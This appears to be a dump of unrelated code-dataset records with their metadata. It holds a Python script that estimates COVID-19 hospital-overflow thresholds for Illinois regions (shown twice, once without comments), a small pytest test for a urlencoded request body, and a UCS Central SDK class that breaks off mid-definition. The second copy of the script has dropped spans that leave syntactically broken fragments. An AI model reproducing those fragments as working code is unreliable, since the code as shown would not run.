prob_over_array = [] range_1 = np.arange(0, 25, 0.01) ### Capacity ### Which trajectories to use for each capacity were determined by hand. if region == 'NE': if capacity == 'low': hospital_capacity = 4919 trajectories = pd.concat([sub1, sub3, sub4]).reset_index() elif capacity == 'high': hospital_capacity = 8609 trajectories = pd.concat([sub1, sub2, sub3]).reset_index() elif region == 'NC': if capacity == 'low': hospital_capacity = 1089 trajectories = pd.concat([sub4, sub5, sub6, sub7]).reset_index() elif capacity == 'high': hospital_capacity = 1907 trajectories = pd.concat([sub5, sub6, sub7]).reset_index() elif region == 'CE': if capacity == 'low': hospital_capacity = 856 trajectories = pd.concat([sub5, sub6, sub7]).reset_index() elif capacity == 'high': hospital_capacity = 1498 trajectories = sub8 #pd.concat([sub5, sub6, sub7, sub8]).reset_index() ##need new elif region == 'SO': if capacity == 'low': hospital_capacity = 640 trajectories = pd.concat([sub1, sub2, sub3]).reset_index() elif capacity == 'high': hospital_capacity = 1121 trajectories = pd.concat([sub5, sub6, sub7]).reset_index() #NE Region trajectories['hosp_det_NE'] = trajectories['hosp_det_EMS-11'] + \ trajectories['hosp_det_EMS-10'] + \ trajectories['hosp_det_EMS-9'] + \ trajectories['hosp_det_EMS-8'] + \ trajectories['hosp_det_EMS-7'] trajectories['hosp_det_cumul_NE'] = trajectories['hosp_det_cumul_EMS-11'] + \ trajectories['hosp_det_cumul_EMS-10'] + \ trajectories['hosp_det_cumul_EMS-9'] + \ trajectories['hosp_det_cumul_EMS-8'] + \ trajectories['hosp_det_cumul_EMS-7'] trajectories['detected_cumul_NE'] = trajectories['detected_cumul_EMS-11'] + \ trajectories['detected_cumul_EMS-10'] + \ trajectories['detected_cumul_EMS-9'] + \ trajectories['detected_cumul_EMS-8'] + \ trajectories['detected_cumul_EMS-7'] #NC Region trajectories['hosp_det_NC'] = trajectories['hosp_det_EMS-1'] + trajectories['hosp_det_EMS-2'] trajectories['hosp_det_cumul_NC'] = trajectories['hosp_det_cumul_EMS-1'] + trajectories['hosp_det_cumul_EMS-2'] trajectories['detected_cumul_NC'] = trajectories['detected_cumul_EMS-1'] + trajectories['detected_cumul_EMS-2'] #CE Region trajectories['hosp_det_CE'] = trajectories['hosp_det_EMS-3'] + trajectories['hosp_det_EMS-6'] trajectories['hosp_det_cumul_CE'] = trajectories['hosp_det_cumul_EMS-3'] + trajectories['hosp_det_cumul_EMS-6'] trajectories['detected_cumul_CE'] = trajectories['detected_cumul_EMS-3'] + trajectories['detected_cumul_EMS-6'] #SO Region trajectories['hosp_det_SO'] = trajectories['hosp_det_EMS-4'] + trajectories['hosp_det_EMS-5'] trajectories['hosp_det_cumul_SO'] = trajectories['hosp_det_cumul_EMS-4'] + trajectories['hosp_det_cumul_EMS-5'] trajectories['detected_cumul_SO'] = trajectories['detected_cumul_EMS-4'] + trajectories['detected_cumul_EMS-5'] print('Region: ' + region) print('Capacity: ' + str(capacity)) print('Metric: ' + str(notif)) thresh = [] p_array = [] dates_array = [] over_array = [] no_array = [] days_array = np.arange(lower_limit,upper_limit, grain) for notif_period in days_array: trajectories_new = trajectories unique_scen = np.array(list(set(trajectories_new['scen_num'].values))) overflow_date = [] max_date = [] #notif = 'new_detected' overflow_traj = [] traj = [] non_overflow_traj = [] overflow_scens = [] non_overflow_scens = [] non_overflow_crit_day = [] overflow_crit_day = [] overflow_week = [] overflow_prior_week = [] non_overflow_week = [] non_overflow_prior_week = [] crit_day = [] week = [] week_prior = [] crit = notif_period for scen in unique_scen: new = trajectories_new[(trajectories_new['scen_num'] == scen)].reset_index() new['new_hosp_det_NE'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_NE'].values)) new['new_det_NE'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_NE'].values)) new['new_hosp_det_NC'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_NC'].values)) new['new_det_NC'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_NC'].values)) new['new_hosp_det_CE'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_CE'].values)) new['new_det_CE'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_CE'].values)) new['new_hosp_det_SO'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_SO'].values)) new['new_det_SO'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_SO'].values)) hosp = new['hosp_det_' + region].values #new['hosp_det'].values i = 0 traj.append(hosp) while (hosp[i] < hospital_capacity) & (i < len(hosp)-1): i += 1 crit_day.append(i) if i == len(hosp) - 1: non_overflow_traj.append(hosp) non_overflow_scens.append(scen) #crit_day.append(i) non_overflow_week.append(np.mean(new[notif].values[crit-7:crit])) non_overflow_prior_week.append(np.mean(new[notif].values[crit-14:crit-7])) else: overflow_traj.append(hosp) overflow_scens.append(scen) #crit_day.append(i) overflow_week.append(np.mean(new[notif].values[crit-7:crit])) overflow_prior_week.append(np.mean(new[notif].values[crit-14:crit-7])) overflow_week = np.array(overflow_week) overflow_prior_week = np.array(overflow_prior_week) non_overflow_week = np.array(non_overflow_week) non_overflow_prior_week = np.array(non_overflow_prior_week) overflow_date = np.array(overflow_date) max_date = np.array(max_date) week = np.array(week) crit_day = np.array(crit_day) week_prior = np.array(week_prior) boink.append(np.mean(week/week_prior)) over = overflow_week/overflow_prior_week no = non_overflow_week/non_overflow_prior_week #ecdf_over = ECDF(over) #ecdf_no = ECDF(no) #prob_over = np.cumsum(ecdf_no(range_1)-ecdf_over(range_1))/np.sum(ecdf_no(range_1)-ecdf_over(range_1)) #print('Mean Over: ' + str(np.mean(over))) #print('Mean No: ' + str(np.mean(no))) if np.mean(over) > np.mean(no): p_over = scipy.stats.norm.pdf(range_1, np.mean(over), np.std(np.append(over,no, axis=0))) p_no = scipy.stats.norm.pdf(range_1, np.mean(no), np.std(np.append(over,no, axis=0))) prob_over = p_over/(p_over+p_no) prob_over_array.append(prob_over) over_array.append(np.median(over)) no_array.append(np.median(no)) #thresh.append((np.median(over) + np.median(no))/2) stat, p = scipy.stats.ttest_ind(over,no) p_array.append(p) dates_array.append(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(crit))) print(crit) over_array = np.array(over_array) no_array = np.array(no_array) print('done') #trace fig full_dates_array = [] for ni in np.arange(0,370,1): full_dates_array.append(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni))) plt.figure(figsize=(10,6)) for traject in overflow_traj: if (len(traject) == len(full_dates_array)): plt.plot(full_dates_array, traject, color='r', alpha=0.1) for traject in non_overflow_traj: if (len(traject) == len(full_dates_array)): plt.plot(full_dates_array, traject, color='b', alpha=0.1) #plt.yscale('log') plt.hlines(hospital_capacity, xmin=dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(0)), xmax=dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni))) plt.xlim([dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(0)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni))]) #plt.vlines(np.median(crit_day[crit_day != 369]),ymin=1,ymax=30000, linestyle='dashed', alpha=0.4) plt.ylabel(region + ' Hospitalized', fontsize=14) formatter = mdates.DateFormatter("%m-%y") ax = plt.gca() ax.xaxis.set_major_formatter(formatter) #ax.xaxis.set_major_locator(mdates.DayLocator(interval=7)) ax.xaxis.set_major_locator(mdates.MonthLocator()) #plt.xlabel('Simulation Day', fontsize=14) plt.xticks(fontsize=14) plt.yticks(fontsize=14) #plt.savefig('sims_2.png', dpi=200) #plt.savefig('sims_2.pdf') print('Proportion of sims that do not exceed: ' + str(np.sum(crit_day == 369)/(len(trajectories)/370))) print('Number of trajectories: ' + str(len(trajectories)/370)) #p-value fig plt.figure(figsize=(10,6)) plt.plot(dates_array, p_array) plt.xticks(fontsize=14) plt.yticks(fontsize=14) ax = plt.gca() formatter = mdates.DateFormatter("%m-%d") ax.xaxis.set_major_formatter(formatter) ax.xaxis.set_major_locator(mdates.DayLocator(interval=7)) #ax.xaxis.set_major_locator(mdates.MonthLocator()) plt.yscale('log') plt.ylabel('Significance of Difference Between\nOverflow Scenarios and Non-Overflow Scenarios\n(p-value of t-test)', fontsize=14) plt.savefig('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.png', dpi=200) plt.savefig('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.pdf') pd.DataFrame({'date':dates_array, 'p_val':p_array}).to_csv('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.csv') #Threshold fig thresh_0 = .05 thresh_1 = .20 thresh_2 = .50 thresh_3 = .80 thresh_4 = .95 thresh_0_array = [] thresh_1_array = [] thresh_2_array = [] thresh_3_array = [] thresh_4_array = [] count = 0 for prob_array in prob_over_array: i = 0 while prob_array[i] < thresh_0: i += 1 thresh_0_array.append(i) i = 0 while prob_array[i] < thresh_1: i += 1 thresh_1_array.append(i) i = 0 while prob_array[i] < thresh_2: i += 1 thresh_2_array.append(i) i = 0 while prob_array[i] < thresh_3: i += 1 thresh_3_array.append(i) i = 0 while prob_array[i] < thresh_4: i += 1 thresh_4_array.append(i) count += 1 print(count) thresh_0_array = np.array(thresh_0_array) thresh_1_array = np.array(thresh_1_array) thresh_2_array = np.array(thresh_2_array) thresh_3_array = np.array(thresh_3_array) thresh_4_array = np.array(thresh_4_array) plt.figure(figsize=(10,6)) plt.plot(dates_array, 100*(range_1[thresh_4_array]-1), alpha=1.0, color='r', label='95% chance of exceeding capacity') plt.plot(dates_array, 100*(range_1[thresh_3_array]-1), alpha=0.75, color='r', label='80% chance of exceeding capacity') plt.plot(dates_array, 100*(range_1[thresh_2_array]-1), alpha=1.0, color='k', linestyle='dashed', label='50% chance of exceeding capacity') plt.plot(dates_array, 100*(range_1[thresh_1_array]-1), alpha=0.50, color='r', label='20% chance of exceeding capacity') plt.plot(dates_array, 100*(range_1[thresh_0_array]-1), alpha=0.25, color='r', label='5% chance of exceeding capacity') #plt.axvline(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(193))) ax = plt.gca() formatter = mdates.DateFormatter("%m-%d") ax.xaxis.set_major_formatter(formatter) ax.xaxis.set_major_locator(mdates.DayLocator(interval=7)) overflows_occur = 175 alpha = 0.02 for ele in np.sort(crit_day[crit_day != 369].copy()): plt.fill_between(x=[dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ele)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(upper_limit+5))], y1=-30, y2=120, color='k', alpha=alpha, hatch='/', linewidth=0) #label='scenarios begin to exceed capacity' #plt.fill_between(x=[dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(overflows_occur)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(205))], y1=-30, y2=120, color='k', alpha=0.05, hatch='/', linewidth=0) #label='scenarios begin to exceed capacity' #plt.fill_between(x=[dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(overflows_occur+2)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(205))], y1=-30, y2=120, color='k', alpha=0.05, hatch='/', linewidth=0) #label='scenarios begin to exceed capacity' plt.xlim([dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(145)),dt.datetime(month=10, day=1, year=2020)]) plt.ylim([-30,100]) plt.ylabel('Threshold % change in\n' + notif + '\nfrom previous week', fontsize=14) plt.xlabel('Date of Assessment', fontsize=14) plt.legend(fontsize=12) plt.xticks(fontsize=14) plt.yticks(fontsize=14) #plt.savefig('overflow_prob_draft_2.png', dpi=200) #plt.savefig('overflow_prob_draft_2.pdf') plt.savefig('overflow_prob_draft_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.png', dpi=200) plt.savefig('overflow_prob_draft_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.pdf')

52.219718

300

0.572608

print('Importing packages...') import pandas as pd import matplotlib.pyplot as plt import datetime as dt import seaborn as sns import numpy as np import matplotlib.dates as mdates import datetime import matplotlib as mpl mpl.rcParams['pdf.fonttype'] = 42 import statistics as st sns.set_style('whitegrid', {'axes.linewidth' : 0.5}) from statsmodels.distributions.empirical_distribution import ECDF import scipy import gc column_list = ['scen_num', 'reopening_multiplier_4'] for ems_region in range(1,12): column_list.append('hosp_det_EMS-' + str(ems_region)) column_list.append('hosp_det_cumul_EMS-' + str(ems_region)) column_list.append('detected_cumul_EMS-' + str(ems_region)) print('Reading trajectories...') sub1 = pd.read_csv('trajectoriesDat_1.csv', usecols=column_list) print('Trajectory 1 read.') sub2 = pd.read_csv('trajectoriesDat_2.csv', usecols=column_list) print('Trajectory 2 read.') sub3 = pd.read_csv('trajectoriesDat_3.csv', usecols=column_list) print('Trajectory 3 read.') sub4 = pd.read_csv('trajectoriesDat_08.csv', usecols=column_list) sub4['scen_num'] = sub4['scen_num'].values + 1000 print('Trajectory 4 read.') sub5 = pd.read_csv('trajectoriesDat_300.csv', usecols=column_list) sub5['scen_num'] = sub5['scen_num'].values + 2000 print('Trajectory 5 read.') sub6 = pd.read_csv('trajectoriesDat_600.csv', usecols=column_list) sub6['scen_num'] = sub6['scen_num'].values + 2000 print('Trajectory 6 read.') sub7 = pd.read_csv('trajectoriesDat_1000.csv', usecols=column_list) sub7['scen_num'] = sub7['scen_num'].values + 2000 print('Trajectory 7 read.') sub8 = pd.read_csv('trajectoriesDat_15.csv', usecols=column_list) sub8['scen_num'] = sub8['scen_num'].values + 3000 print('Trajectory 8 read.') 'NC', 'CE', 'SO']: for capacity in ['high', 'low']: for metric in ['det', 'hosp']: boink = [] notif = 'new_det_' + region if metric == 'hosp': notif = 'new_hosp_det_' + region 5 grain = 1 prob_over_array = [] range_1 = np.arange(0, 25, 0.01) pd.concat([sub1, sub3, sub4]).reset_index() elif capacity == 'high': hospital_capacity = 8609 trajectories = pd.concat([sub1, sub2, sub3]).reset_index() elif region == 'NC': if capacity == 'low': hospital_capacity = 1089 trajectories = pd.concat([sub4, sub5, sub6, sub7]).reset_index() elif capacity == 'high': hospital_capacity = 1907 trajectories = pd.concat([sub5, sub6, sub7]).reset_index() elif region == 'CE': if capacity == 'low': hospital_capacity = 856 trajectories = pd.concat([sub5, sub6, sub7]).reset_index() elif capacity == 'high': hospital_capacity = 1498 trajectories = sub8 egion == 'SO': if capacity == 'low': hospital_capacity = 640 trajectories = pd.concat([sub1, sub2, sub3]).reset_index() elif capacity == 'high': hospital_capacity = 1121 trajectories = pd.concat([sub5, sub6, sub7]).reset_index() trajectories['hosp_det_NE'] = trajectories['hosp_det_EMS-11'] + \ trajectories['hosp_det_EMS-10'] + \ trajectories['hosp_det_EMS-9'] + \ trajectories['hosp_det_EMS-8'] + \ trajectories['hosp_det_EMS-7'] trajectories['hosp_det_cumul_NE'] = trajectories['hosp_det_cumul_EMS-11'] + \ trajectories['hosp_det_cumul_EMS-10'] + \ trajectories['hosp_det_cumul_EMS-9'] + \ trajectories['hosp_det_cumul_EMS-8'] + \ trajectories['hosp_det_cumul_EMS-7'] trajectories['detected_cumul_NE'] = trajectories['detected_cumul_EMS-11'] + \ trajectories['detected_cumul_EMS-10'] + \ trajectories['detected_cumul_EMS-9'] + \ trajectories['detected_cumul_EMS-8'] + \ trajectories['detected_cumul_EMS-7'] trajectories['hosp_det_NC'] = trajectories['hosp_det_EMS-1'] + trajectories['hosp_det_EMS-2'] trajectories['hosp_det_cumul_NC'] = trajectories['hosp_det_cumul_EMS-1'] + trajectories['hosp_det_cumul_EMS-2'] trajectories['detected_cumul_NC'] = trajectories['detected_cumul_EMS-1'] + trajectories['detected_cumul_EMS-2'] trajectories['hosp_det_CE'] = trajectories['hosp_det_EMS-3'] + trajectories['hosp_det_EMS-6'] trajectories['hosp_det_cumul_CE'] = trajectories['hosp_det_cumul_EMS-3'] + trajectories['hosp_det_cumul_EMS-6'] trajectories['detected_cumul_CE'] = trajectories['detected_cumul_EMS-3'] + trajectories['detected_cumul_EMS-6'] trajectories['hosp_det_SO'] = trajectories['hosp_det_EMS-4'] + trajectories['hosp_det_EMS-5'] trajectories['hosp_det_cumul_SO'] = trajectories['hosp_det_cumul_EMS-4'] + trajectories['hosp_det_cumul_EMS-5'] trajectories['detected_cumul_SO'] = trajectories['detected_cumul_EMS-4'] + trajectories['detected_cumul_EMS-5'] print('Region: ' + region) print('Capacity: ' + str(capacity)) print('Metric: ' + str(notif)) thresh = [] p_array = [] dates_array = [] over_array = [] no_array = [] days_array = np.arange(lower_limit,upper_limit, grain) for notif_period in days_array: trajectories_new = trajectories unique_scen = np.array(list(set(trajectories_new['scen_num'].values))) overflow_date = [] max_date = [] overflow_traj = [] traj = [] non_overflow_traj = [] overflow_scens = [] non_overflow_scens = [] non_overflow_crit_day = [] overflow_crit_day = [] overflow_week = [] overflow_prior_week = [] non_overflow_week = [] non_overflow_prior_week = [] crit_day = [] week = [] week_prior = [] crit = notif_period for scen in unique_scen: new = trajectories_new[(trajectories_new['scen_num'] == scen)].reset_index() new['new_hosp_det_NE'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_NE'].values)) new['new_det_NE'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_NE'].values)) new['new_hosp_det_NC'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_NC'].values)) new['new_det_NC'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_NC'].values)) new['new_hosp_det_CE'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_CE'].values)) new['new_det_CE'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_CE'].values)) new['new_hosp_det_SO'] = np.append(np.array([0.0]), np.diff(new['hosp_det_cumul_SO'].values)) new['new_det_SO'] = np.append(np.array([0.0]), np.diff(new['detected_cumul_SO'].values)) hosp = new['hosp_det_' + region].values i = 0 traj.append(hosp) while (hosp[i] < hospital_capacity) & (i < len(hosp)-1): i += 1 crit_day.append(i) if i == len(hosp) - 1: non_overflow_traj.append(hosp) non_overflow_scens.append(scen) non_overflow_week.append(np.mean(new[notif].values[crit-7:crit])) non_overflow_prior_week.append(np.mean(new[notif].values[crit-14:crit-7])) else: overflow_traj.append(hosp) overflow_scens.append(scen) overflow_week.append(np.mean(new[notif].values[crit-7:crit])) overflow_prior_week.append(np.mean(new[notif].values[crit-14:crit-7])) overflow_week = np.array(overflow_week) overflow_prior_week = np.array(overflow_prior_week) non_overflow_week = np.array(non_overflow_week) non_overflow_prior_week = np.array(non_overflow_prior_week) overflow_date = np.array(overflow_date) max_date = np.array(max_date) week = np.array(week) crit_day = np.array(crit_day) week_prior = np.array(week_prior) boink.append(np.mean(week/week_prior)) over = overflow_week/overflow_prior_week no = non_overflow_week/non_overflow_prior_week if np.mean(over) > np.mean(no): p_over = scipy.stats.norm.pdf(range_1, np.mean(over), np.std(np.append(over,no, axis=0))) p_no = scipy.stats.norm.pdf(range_1, np.mean(no), np.std(np.append(over,no, axis=0))) prob_over = p_over/(p_over+p_no) prob_over_array.append(prob_over) over_array.append(np.median(over)) no_array.append(np.median(no)) stat, p = scipy.stats.ttest_ind(over,no) p_array.append(p) dates_array.append(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(crit))) print(crit) over_array = np.array(over_array) no_array = np.array(no_array) print('done') full_dates_array = [] for ni in np.arange(0,370,1): full_dates_array.append(dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni))) plt.figure(figsize=(10,6)) for traject in overflow_traj: if (len(traject) == len(full_dates_array)): plt.plot(full_dates_array, traject, color='r', alpha=0.1) for traject in non_overflow_traj: if (len(traject) == len(full_dates_array)): plt.plot(full_dates_array, traject, color='b', alpha=0.1) plt.hlines(hospital_capacity, xmin=dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(0)), xmax=dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni))) plt.xlim([dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(0)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ni))]) plt.ylabel(region + ' Hospitalized', fontsize=14) formatter = mdates.DateFormatter("%m-%y") ax = plt.gca() ax.xaxis.set_major_formatter(formatter) ax.xaxis.set_major_locator(mdates.MonthLocator()) plt.xticks(fontsize=14) plt.yticks(fontsize=14) print('Proportion of sims that do not exceed: ' + str(np.sum(crit_day == 369)/(len(trajectories)/370))) print('Number of trajectories: ' + str(len(trajectories)/370)) plt.figure(figsize=(10,6)) plt.plot(dates_array, p_array) plt.xticks(fontsize=14) plt.yticks(fontsize=14) ax = plt.gca() formatter = mdates.DateFormatter("%m-%d") ax.xaxis.set_major_formatter(formatter) ax.xaxis.set_major_locator(mdates.DayLocator(interval=7)) plt.yscale('log') plt.ylabel('Significance of Difference Between\nOverflow Scenarios and Non-Overflow Scenarios\n(p-value of t-test)', fontsize=14) plt.savefig('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.png', dpi=200) plt.savefig('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.pdf') pd.DataFrame({'date':dates_array, 'p_val':p_array}).to_csv('p_val_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.csv') thresh_0 = .05 thresh_1 = .20 thresh_2 = .50 thresh_3 = .80 thresh_4 = .95 thresh_0_array = [] thresh_1_array = [] thresh_2_array = [] thresh_3_array = [] thresh_4_array = [] count = 0 for prob_array in prob_over_array: i = 0 while prob_array[i] < thresh_0: i += 1 thresh_0_array.append(i) i = 0 while prob_array[i] < thresh_1: i += 1 thresh_1_array.append(i) i = 0 while prob_array[i] < thresh_2: i += 1 thresh_2_array.append(i) i = 0 while prob_array[i] < thresh_3: i += 1 thresh_3_array.append(i) i = 0 while prob_array[i] < thresh_4: i += 1 thresh_4_array.append(i) count += 1 print(count) thresh_0_array = np.array(thresh_0_array) thresh_1_array = np.array(thresh_1_array) thresh_2_array = np.array(thresh_2_array) thresh_3_array = np.array(thresh_3_array) thresh_4_array = np.array(thresh_4_array) plt.figure(figsize=(10,6)) plt.plot(dates_array, 100*(range_1[thresh_4_array]-1), alpha=1.0, color='r', label='95% chance of exceeding capacity') plt.plot(dates_array, 100*(range_1[thresh_3_array]-1), alpha=0.75, color='r', label='80% chance of exceeding capacity') plt.plot(dates_array, 100*(range_1[thresh_2_array]-1), alpha=1.0, color='k', linestyle='dashed', label='50% chance of exceeding capacity') plt.plot(dates_array, 100*(range_1[thresh_1_array]-1), alpha=0.50, color='r', label='20% chance of exceeding capacity') plt.plot(dates_array, 100*(range_1[thresh_0_array]-1), alpha=0.25, color='r', label='5% chance of exceeding capacity') ax = plt.gca() formatter = mdates.DateFormatter("%m-%d") ax.xaxis.set_major_formatter(formatter) ax.xaxis.set_major_locator(mdates.DayLocator(interval=7)) overflows_occur = 175 alpha = 0.02 for ele in np.sort(crit_day[crit_day != 369].copy()): plt.fill_between(x=[dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(ele)), dt.datetime(month=2, day=13, year=2020) + dt.timedelta(days=int(upper_limit+5))], y1=-30, y2=120, color='k', alpha=alpha, hatch='/', linewidth=0) elta(days=int(145)),dt.datetime(month=10, day=1, year=2020)]) plt.ylim([-30,100]) plt.ylabel('Threshold % change in\n' + notif + '\nfrom previous week', fontsize=14) plt.xlabel('Date of Assessment', fontsize=14) plt.legend(fontsize=12) plt.xticks(fontsize=14) plt.yticks(fontsize=14) plt.savefig('overflow_prob_draft_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.png', dpi=200) plt.savefig('overflow_prob_draft_' + str(notif) + '_' + region + str(hospital_capacity) + '_1.pdf')

true

f7f37bcdb097cb45aa9099e97ec157565b548655

584

py

Python

tests/core/request/test_request_body_urlencoded.py

ymoch/preacher

ae68170d14c72791884e91b20054bd13a79b52d0

[ "MIT" ]

3

2019-08-01T03:14:49.000Z

2020-01-31T08:55:22.000Z

tests/core/request/test_request_body_urlencoded.py

ymoch/preacher

ae68170d14c72791884e91b20054bd13a79b52d0

[ "MIT" ]

353

2019-04-14T14:53:28.000Z

2022-03-11T03:26:08.000Z

tests/core/request/test_request_body_urlencoded.py

ymoch/preacher

ae68170d14c72791884e91b20054bd13a79b52d0

[ "MIT" ]

1

2020-08-01T06:23:08.000Z

from unittest.mock import sentinel from preacher.core.request.request_body import UrlencodedRequestBody PKG = "preacher.core.request.request_body" def test(mocker): resolve_params = mocker.patch(f"{PKG}.resolve_url_params") resolve_params.return_value = sentinel.resolved_params body = UrlencodedRequestBody(sentinel.params) assert body.content_type == "application/x-www-form-urlencoded" resolved = body.resolve(sentinel.context) assert resolved is sentinel.resolved_params resolve_params.assert_called_once_with(sentinel.params, sentinel.context)

30.736842

77

0.794521

from unittest.mock import sentinel from preacher.core.request.request_body import UrlencodedRequestBody PKG = "preacher.core.request.request_body" def test(mocker): resolve_params = mocker.patch(f"{PKG}.resolve_url_params") resolve_params.return_value = sentinel.resolved_params body = UrlencodedRequestBody(sentinel.params) assert body.content_type == "application/x-www-form-urlencoded" resolved = body.resolve(sentinel.context) assert resolved is sentinel.resolved_params resolve_params.assert_called_once_with(sentinel.params, sentinel.context)

true

f7f37c2c703711f06efc6918352020d1d675a36e

2,977

py

Python

ucscentralsdk/mometa/domain/DomainStorageFeature.py

ragupta-git/ucscentralsdk

2678008b5fb6b0fafafec388d0874147e95a1086

[ "Apache-2.0" ]

null

ucscentralsdk/mometa/domain/DomainStorageFeature.py

ragupta-git/ucscentralsdk

2678008b5fb6b0fafafec388d0874147e95a1086

[ "Apache-2.0" ]

null

ucscentralsdk/mometa/domain/DomainStorageFeature.py

ragupta-git/ucscentralsdk

2678008b5fb6b0fafafec388d0874147e95a1086

[ "Apache-2.0" ]

null

"""This module contains the general information for DomainStorageFeature ManagedObject.""" from ...ucscentralmo import ManagedObject from ...ucscentralcoremeta import UcsCentralVersion, MoPropertyMeta, MoMeta from ...ucscentralmeta import VersionMeta class DomainStorageFeatureConsts(): FUNCTIONAL_STATE_DISABLED = "disabled" FUNCTIONAL_STATE_ENABLED = "enabled" TYPE_MAJOR = "major" TYPE_MINOR = "minor" class DomainStorageFeature(ManagedObject): """This is DomainStorageFeature class.""" consts = DomainStorageFeatureConsts() naming_props = set([u'name']) mo_meta = MoMeta("DomainStorageFeature", "domainStorageFeature", "storage-feature-[name]", VersionMeta.Version112a, "InputOutput", 0x3f, [], ["admin"], [u'computeSystem', u'domainFeatureCatalog', u'extpolDomain'], [u'domainEnvironmentParam', u'domainNetworkParam', u'domainServerParam', u'domainStorageParam'], ["Get"]) prop_meta = { "child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version112a, MoPropertyMeta.INTERNAL, None, None, None, r"""((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}""", [], []), "dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, 0x2, 0, 256, None, [], []), "flt_aggr": MoPropertyMeta("flt_aggr", "fltAggr", "ulong", VersionMeta.Version112a, MoPropertyMeta.INTERNAL, None, None, None, None, [], []), "functional_state": MoPropertyMeta("functional_state", "functionalState", "string", VersionMeta.Version112a, MoPropertyMeta.READ_WRITE, 0x4, None, None, None, ["disabled", "enabled"], []), "name": MoPropertyMeta("name", "name", "string", VersionMeta.Version112a, MoPropertyMeta.NAMING, 0x8, None, None, r"""[\-\.:_a-zA-Z0-9]{1,64}""", [], []), "rn": MoPropertyMeta("rn", "rn", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, 0x10, 0, 256, None, [], []), "status": MoPropertyMeta("status", "status", "string", VersionMeta.Version112a, MoPropertyMeta.READ_WRITE, 0x20, None, None, r"""((removed|created|modified|deleted),){0,3}(removed|created|modified|deleted){0,1}""", [], []), "type": MoPropertyMeta("type", "type", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, None, None, None, None, ["major", "minor"], []), } prop_map = { "childAction": "child_action", "dn": "dn", "fltAggr": "flt_aggr", "functionalState": "functional_state", "name": "name", "rn": "rn", "status": "status", "type": "type", } def __init__(self, parent_mo_or_dn, name, **kwargs): self._dirty_mask = 0 self.name = name self.child_action = None self.flt_aggr = None self.functional_state = None self.status = None self.type = None ManagedObject.__init__(self, "DomainStorageFeature", parent_mo_or_dn, **kwargs)

53.160714

323

0.66745

from ...ucscentralmo import ManagedObject from ...ucscentralcoremeta import UcsCentralVersion, MoPropertyMeta, MoMeta from ...ucscentralmeta import VersionMeta class DomainStorageFeatureConsts(): FUNCTIONAL_STATE_DISABLED = "disabled" FUNCTIONAL_STATE_ENABLED = "enabled" TYPE_MAJOR = "major" TYPE_MINOR = "minor" class DomainStorageFeature(ManagedObject): consts = DomainStorageFeatureConsts() naming_props = set([u'name']) mo_meta = MoMeta("DomainStorageFeature", "domainStorageFeature", "storage-feature-[name]", VersionMeta.Version112a, "InputOutput", 0x3f, [], ["admin"], [u'computeSystem', u'domainFeatureCatalog', u'extpolDomain'], [u'domainEnvironmentParam', u'domainNetworkParam', u'domainServerParam', u'domainStorageParam'], ["Get"]) prop_meta = { "child_action": MoPropertyMeta("child_action", "childAction", "string", VersionMeta.Version112a, MoPropertyMeta.INTERNAL, None, None, None, r"""((deleteAll|ignore|deleteNonPresent),){0,2}(deleteAll|ignore|deleteNonPresent){0,1}""", [], []), "dn": MoPropertyMeta("dn", "dn", "string", VersionMeta.Version112a, MoPropertyMeta.READ_ONLY, 0x2, 0, 256, None, [], []), "flt_aggr": MoPropertyMeta("flt_aggr", "fltAggr", "ulong", VersionMeta.Version112a, MoPropertyMeta.INTERNAL, None, None, None, None, [], []), "functional_state": MoPropertyMeta("functional_state", "functionalState", "string", VersionMeta.Version112a, MoPropertyMeta.READ_WRITE, 0x4, None, None, None, ["disabled", "enabled"], []), "name": MoPropertyMeta("name", "name", "string", VersionMeta.Version112a, 